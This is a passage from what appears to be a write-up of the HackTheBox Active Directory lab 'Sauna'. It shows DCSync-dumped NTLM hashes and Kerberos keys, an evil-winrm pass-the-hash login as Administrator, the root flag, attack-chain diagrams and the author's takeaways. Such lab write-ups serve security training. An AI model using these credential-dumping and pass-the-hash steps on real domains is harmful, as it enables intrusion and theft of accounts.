[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets

Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:dd162c104cd736a0a8aa40583e2e54fe:::

[*] Kerberos keys grabbed

Administrator:aes256-cts-hmac-sha1-96:42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657
Administrator:aes128-cts-hmac-sha1-96:a9f3769c592a8a231c3c972c4050be4e
Administrator:des-cbc-md5:fb8f321c64cea87f

krbtgt:aes256-cts-hmac-sha1-96:83c18194bf8bd3949d4d0d94584b868b9d5f2a54d3d6f3012fe0921585519f24
krbtgt:aes128-cts-hmac-sha1-96:c824894df4c4c621394c079b42032fa9
krbtgt:des-cbc-md5:c170d5dc3edfc1d9

EGOTISTICAL-BANK.LOCAL\HSmith:aes256-cts-hmac-sha1-96:5875ff00ac5e82869de5143417dc51e2a7acefae665f50ed840a112f15963324
EGOTISTICAL-BANK.LOCAL\HSmith:aes128-cts-hmac-sha1-96:909929b037d273e6a8828c362faa59e9
EGOTISTICAL-BANK.LOCAL\HSmith:des-cbc-md5:1c73b99168d3f8c7

EGOTISTICAL-BANK.LOCAL\FSmith:aes256-cts-hmac-sha1-96:8bb69cf20ac8e4dddb4b8065d6d622ec805848922026586878422af67ebd61e2
EGOTISTICAL-BANK.LOCAL\FSmith:aes128-cts-hmac-sha1-96:6c6b07440ed43f8d15e671846d5b843b
EGOTISTICAL-BANK.LOCAL\FSmith:des-cbc-md5:b50e02ab0d85f76b

EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes256-cts-hmac-sha1-96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes128-cts-hmac-sha1-96:8ea32a31a1e22cb272870d79ca6d972c
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:des-cbc-md5:2a896d16c28cf4a2

SAUNA$:aes256-cts-hmac-sha1-96:54d1cec3fa2ee61d175c2ea86265b04ca68c20987a7a86b3f5244c49a15f7cc8
SAUNA$:aes128-cts-hmac-sha1-96:d0d6cc92fac312e6214a52fe7f4c0af6
SAUNA$:des-cbc-md5:0d23eff4e57aab86

[*] Cleaning up...

We got the NTLM hash for all the users.

The important ones are:

1
2
3
4
5
6
7

Administrator ... :823452073d75b9d1cf70ebdf86c7f98e

HSmith        ... :58a52d36c84fb7f5f1beab9a201db1dd

FSmith        ... :58a52d36c84fb7f5f1beab9a201db1dd

svc_loanmgr   ... :9cb31797c39a9b170b04058ba2bba48c

Most importantly, we now have the Administrator NTLM hash:

1

823452073d75b9d1cf70ebdf86c7f98e

Root Flag

Since we have the Administrator NTLM hash, we can authenticate to WinRM using pass-the-hash.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

┌──(frey㉿freyxor)-[~/hackthebox/machine/sauna]

└─$ evil-winrm -u "Administrator" -H 823452073d75b9d1cf70ebdf86c7f98e -i 10.129.32.91

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt

539d43734a2015ca4cd1260ab6bf180d

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami

egotisticalbank\administrator

*Evil-WinRM* PS C:\Users\Administrator\Documents>

And that’s root.

Root Flag

1

539d43734a2015ca4cd1260ab6bf180d

Summary

The complete attack chain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

                    AD
                    │
          ┌─────────┴─────────┐
          ↓                   ↓
       fsmith            svc_loanmgr
          │                   │
  Pre-auth disabled      GetChangesAll
          │                   │
          ↓                   ↓
    AS-REP Roast            DCSync
          │                   │
          ↓                   ↓
    Crack password       NTLM hashes
          │                   │
          ↓                   ↓
       fsmith          Administrator hash
          │                   │
          └─────────┬─────────┘
                    ↓
              Administrator
                    │
                    ↓
                  Root

The full attack path was:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

Website
   ↓
User enumeration
   ↓
AS-REP Roasting
   ↓
fsmith credentials
   ↓
WinRM
   ↓
Winlogon registry
   ↓
svc_loanmgr credentials
   ↓
BloodHound
   ↓
GetChanges + GetChangesAll
   ↓
DCSync
   ↓
Administrator NTLM hash
   ↓
Pass-the-Hash
   ↓
Administrator
   ↓
Root flag

Final Takeaways

The biggest things I learned from this machine were:

  • Always enumerate users when a website exposes employee information.
  • In an AD environment, always check for AS-REP Roasting.
  • Don’t stop after getting a low-privileged shell.
  • whoami /all is always a good first privilege-enumeration command.
  • BloodHound is extremely useful for finding AD relationships and permissions.
  • During Windows privilege escalation, remember to check the Winlogon registry.
  • GetChanges + GetChangesAll should immediately make you think about DCSync.
  • DCSync can retrieve credential material through AD replication.
  • Once you have an Administrator NTLM hash, WinRM can be used for pass-the-hash authentication.

Well I guess I should be doing more write-ups and again if you have any questions or just want to say hi you can connect with me through discord at fr6ey.

Red Teaming
HTB Active Directory
This post is licensed under CC BY 4.0 by the author.